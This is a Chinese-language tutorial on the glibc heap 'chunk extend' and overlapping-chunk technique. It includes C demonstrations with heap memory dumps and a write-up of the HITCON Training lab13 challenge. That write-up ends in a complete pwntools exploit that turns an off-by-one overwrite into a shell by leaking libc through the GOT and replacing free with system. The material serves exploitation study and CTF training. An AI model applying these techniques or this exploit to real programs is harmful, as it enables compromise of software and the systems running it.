条件
1.程序中存在堆的漏洞
2.漏洞可以控制chunk header中的数据
原理
ptmalloc中关于chunk的定义
struct malloc_chunk {
INTERNAL_SIZE_T prev_size;
INTERNAL_SIZE_T size;
struct malloc_chunk* fd;
struct malloc_chunk* bk;
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
当一个chunk为空闲时,至少要有prev_size、size、fd和bk四个参数,因此MINSIZE就代表了这四个参数需要占用的内存大小.而当一个chunk被使用时,prev_size可能会被前一个chunk用来存储,fd和bk也会被当作内存存储数据,因此当chunk被使用时,只剩下了size参数需要设置,request2size中的SIZE_SZ就是INTERNAL_SIZE_T类型的大小,因此至少需要req+SIZE_SZ的内存大小。MALLOC_ALIGN_MASK用来对齐,因此request2size就计算出了所需的chunk的大小。
所以ptmalloc通过chunk header的数据判断chunk的使用情况和对chunk的前后块进行定位,chunk extend就是通过控制size和pre_size域来实现跨越堆块操作从而导致overlapping
作用
一般来说,这种技术并不能直接控制程序的执行流程,但是可以控制 chunk 中的内容。如果 chunk 存在字符串指针、函数指针等,就可以利用这些指针来进行信息泄漏和控制执行流程。
此外通过 extend 可以实现 chunk overlapping,通过 overlapping 可以控制 chunk 的 fd/bk 指针从而可以实现 fastbin attack 等利用。
比较常见的利用条件是off-by-one等堆漏洞。假设存在⼀个off-by-one 漏洞,我们目的是构造overlap chunk,则构造过程应该为: 步骤1:申请三个堆块A、B、C,假定它们的size分别为sizeA、sizeB、sizeC,向A中写入数据覆盖到B中的size域,将B的size改为sizeB+sizeC。 步骤2:把B块free掉,此时根据B块的size去找下⼀块chunk的header进行inused bit检查,这里C块是被使用的,所以可以通过检查,通过检查后,free掉的堆块会根据sizeB+sizeC的大小放到bins里面。 步骤3:把C块也free掉,然后malloc(sizeB+sizeC),将刚刚被放到bins里面的chunk分配出来,这个时候C这个chunk还是在bins上面的,通过刚刚分配的chunk就可以控制chunk C的fd指针,从而实现任意地址写。
对 inuse 的 fastbin 进行 extend
#include<stdio.h>
#include<stdlib.h>
int main()
{
void *ptr,*ptr1;
ptr=malloc(0x10);//分配第一个0x10的chunk
malloc(0x10);//分配第二个0x10的chunk
*(long long *)((long long)ptr-0x8)=0x41;// 修改第一个块的size域
free(ptr);
ptr1=malloc(0x30);// 实现 extend,控制了第二个块的内容
return 0;
}
malloc之后堆内存布局
0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk 1
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 <=== chunk 2
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1 <=== top chunk
修改chunk1之后
0x602000: 0x0000000000000000 0x0000000000000041 <=== 篡改大小
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1
当把chunk 1 size改为0x41(0x41 是因为 chunk 的 size 域包含了用户控制的大小和 header 的大小),chunk 2被chunk 1包含进去,,当把chunk1释放时chunk2被一同释放,再申请一个比chunk1大的块就能直接控制chunk2(不要覆盖top chunk),称为 overlapping chunk。
对inuse的smallbin进行extend
处于 fastbin 范围的 chunk 释放后会被置入 fastbin 链表中,而不处于这个范围的 chunk 被释放后会被置于 unsorted bin 链表中。(fastbin 默认的最大的 chunk 可使用范围是 0x70)
#include <stdio.h>
#include <stdlib.h>
int main()
{
void *ptr,*ptr1;
ptr=malloc(0x80);//分配第一个 0x80 的chunk1 大小 > fastbin
malloc(0x10); //分配第二个 0x10 的chunk2
malloc(0x10); //防止与top chunk合并
*(int *)((int)ptr-0x8)=0xb1; // 修改第一个块的size域
free(ptr);
ptr1=malloc(0xa0);
}
malloc之后的堆内存布局
0x602000: 0x0000000000000000 0x00000000000000b1 <===chunk1 篡改size域
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000021 <=== chunk2
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000021 <=== 防止合并的chunk
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000020f31 <=== top chunk
释放后,chunk1 把 chunk2 的内容吞并掉并一起置入unsorted bin
0x602000: 0x0000000000000000 0x00000000000000b1 <=== 被放入unsorted bin
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000021
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x00000000000000b0 0x0000000000000020 <=== 注意此处标记为空
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000020f31 <=== top chunk
由于分配的 size 不处于 fastbin 的范围,因此在释放时如果与 top chunk 相连会导致和 top chunk 合并。所以需要额外分配一个 chunk,把释放的块与 top chunk 隔开。释放后,chunk1 把 chunk2 的内容吞并掉并一起置入 unsorted bin,再次进行分配的时候就会取回 chunk1 和 chunk2 的空间,此时就可以控制 chunk2 中的内容。
对 free 的 smallbin 进行 extend
先释放 chunk1,然后再修改处于 unsorted bin 中的 chunk1 的size域。
#include <stdio.h>
#include <stdlib.h>
int main()
{
void *ptr,*ptr1;
ptr=malloc(0x80);//分配第一个0x80的chunk1
malloc(0x10);//分配第二个0x10的chunk2
free(ptr);//首先进行释放,使得chunk1进入unsorted bin
*(int *)((int)ptr-0x8)=0xb1;
ptr1=malloc(0xa0);
}
malloc之后内存布局
0x602000: 0x0000000000000000 0x0000000000000091 <=== chunk 1
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000021 <=== chunk 2
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000020f51
释放chunk1使它进入unsorted bin中
0x602000: 0x0000000000000000 0x0000000000000091 <=== 进入unsorted bin
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000090 0x0000000000000020 <=== chunk 2
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000020f51 <=== top chunk
篡改chunk1的size域
0x602000: 0x0000000000000000 0x00000000000000b1 <=== size域被篡改
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000090 0x0000000000000020
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000020f51
此时再进行 malloc 分配就可以得到 chunk1+chunk2 的堆块,从而控制了 chunk2 的内容。
通过 extend 后向 overlapping
前向 extend 利用了 smallbin 的 unlink 机制,通过修改 pre_size 域可以跨越多个 chunk 进行合并实现 overlapping。
#include <stdio.h>
#include <stdlib.h>
int main()
{
void *ptr,*ptr1;
ptr=malloc(0x10);//分配第1个 0x80 的chunk1
malloc(0x10); //分配第2个 0x10 的chunk2
malloc(0x10); //分配第3个 0x10 的chunk3
malloc(0x10); //分配第4个 0x10 的chunk4
*(int *)((int)ptr-0x8)=0x61;
free(ptr);
ptr1=malloc(0x50);
}
malloc(0x10)申请的都是fastbin。
在 malloc(0x50) 对 extend 区域重新占位后,其中 0x10 的 fastbin 块依然可以正常的分配和释放,此时已经构成 overlapping,通过对 overlapping 的进行操作可以实现 fastbin attack
通过 extend 前向 overlapping
前向 extend 利用了 smallbin 的 unlink 机制,通过修改 pre_size 域可以跨越多个 chunk 进行合并实现
overlapping
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
void *ptr1,*ptr2,*ptr3,*ptr4;
ptr1=malloc(128);//smallbin1
ptr2=malloc(0x10);//fastbin1
ptr3=malloc(0x10);//fastbin2
ptr4=malloc(128);//smallbin2
malloc(0x10);//防止与top合并
free(ptr1);
*(int *)((long long)ptr4-0x8)=0x90;//修改pre_inuse域
*(int *)((long long)ptr4-0x10)=0xd0;//修改pre_size域
free(ptr4);//unlink进行前向extend
malloc(0x150);//占位块
}
unlink目的是把一个双向链表中的空闲块拿出来(例如 free 时和目前物理相邻的 free chunk 进行合并)
当我们 free(small_chunk) 时
glibc 判断这个块是 small chunk
判断前向合并,发现前一个 chunk 处于使用状态,不需要前向合并
判断后向合并,发现后一个 chunk 处于空闲状态,需要合并
继而对 Nextchunk 采取 unlink 操作
glibc-2.26及以上这个漏洞不能实现的原因还是因为tcache机制,因为tcache为了速度考虑,所以不进行unlink操作
HITCON Trainging lab13
功能
int menu()
{
puts("--------------------------------");
puts(" Heap Creator ");
puts("--------------------------------");
puts(" 1. Create a Heap ");
puts(" 2. Edit a Heap ");
puts(" 3. Show a Heap ");
puts(" 4. Delete a Heap ");
puts(" 5. Exit ");
puts("--------------------------------");
return printf("Your choice :");
}
分析
在create()中发现当输入size的时候调用atoi()的时候可以输入8个字符串,所以可以改写atoi_got为system_addr。
show()则是正常的打印内容。
delete()函数知识正常将chunk放入Bins,然后将指针归零,没有uaf漏洞。
漏洞点(edit)
if ( heaparray[v1] )
{
printf("Content of heap : ", &buf);
read_input(*((_QWORD *)heaparray[v1] + 1), *(_QWORD *)heaparray[v1] + 1LL); //off by one
puts("Done !");
}
向data中写入len_of_data+1长度的数据,这里存在off by one
利用
利用 off by one 漏洞覆盖下一个 chunk 的 size 字段,然后 申请伪造的 chunk 大小,从而产生 chunk overlap,进而修改关键指针。
思路
create两个chunk,用chunk0溢出到chunk1 的size位,然后free掉chunk1
申请一个新的chunk2,使得chunk2落在chunk1size的部分从而修改指针
改free的got表为system的地址,然后使得chunk0 的内容为/bin/sh,接着free(chunk0)从而getshell
创建两个大小为0x14的堆块,查看
pwndbg> x/20gx 0x603290
0x603290: 0x0000000000000000 0x0000000000000021 ===>chunk1
0x6032a0: 0x0000000000000014 0x00000000006032c0 指向
0x6032b0: 0x0000000000000000 0x0000000000000021 ===>chunk1数据
0x6032c0: 0x6161616161616161 0x6161616161616161 长度0x14
0x6032d0: 0x0000000061616161 0x0000000000000021 ===>chunk2
0x6032e0: 0x0000000000000014 0x0000000000603300
0x6032f0: 0x0000000000000000 0x0000000000000021 ===>chunk2数据
0x603300: 0x6262626262626262 0x6262626262626262 长度0x14
0x603310: 0x0000000062626262 0x0000000000020cf1 ===>top chunk
0x603320: 0x0000000000000000 0x0000000000000000
此时堆中保存的结构是
-----------------------------------------
chunk1 ========> | prev_size | size |
| len(data) | ptr |
| prev_size | size |
| data |
-----------------------------------------
chunk2 ========> | prev_size | size |
| len(data) | ptr |
| prev_size | size |
| data |
-----------------------------------------
如果我们数据的长度为0x18,调用edit_heap就可触发off-by-one覆盖下一堆块的prev_size
一个chunk在被free掉之后存在bins中,其头部含有prev_size和size,但一旦malloc后,这个prev_size就没用了,它只用来记录前一个空闲块的大小。因此如果malloc0x18个字节的话多出8个字节没有对齐,会将这个prev_size也当做data段的部分分配出去,而不是下一个堆了。
之后利用extend 后向 overlapping+fastbin实现
exp
from pwn import *
p=process('./heapcreator')
elf=ELF('./heapcreator')
lib=ELF('./libc.so.6')
def create(l,value):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of Heap : ')
p.sendline(str(int(l)))
p.recvuntil('Content of heap:')
p.sendline(value)
def edit(index,value):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))
p.recvuntil('Content of heap : ')
p.sendline(value)
def show(index):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))
def delete(index):
p.recvuntil('Your choice :')
p.sendline('4')
p.recvuntil('Index :')
p.sendline(str(index))
#leak free addr
create(0x18,'aaaa')#0
create(0x10,'bbbb')#1
create(0x10,'cccc')#2
create(0x10,'/bin/sh')#3
edit(0,'a'*0x18+'\x81')
delete(1)
size = '\x08'.ljust(8,'\x00')
payload = 'd'*0x40+ size + p64(elf.got['free'])
create(0x70,payload)#1
show(2)
p.recvuntil('Content : ')
free_addr = u64(p.recvuntil('Done')[:-5].ljust(8,'\x00'))
success('free_addr = '+str(hex(free_addr)))
#trim free_got
system_addr = free_addr + lib.symbols['system']-lib.symbols['free']
success('system_addr = '+str(hex(system_addr)))
edit(2,p64(system_addr))
show(2)
delete(3)
p.interactive()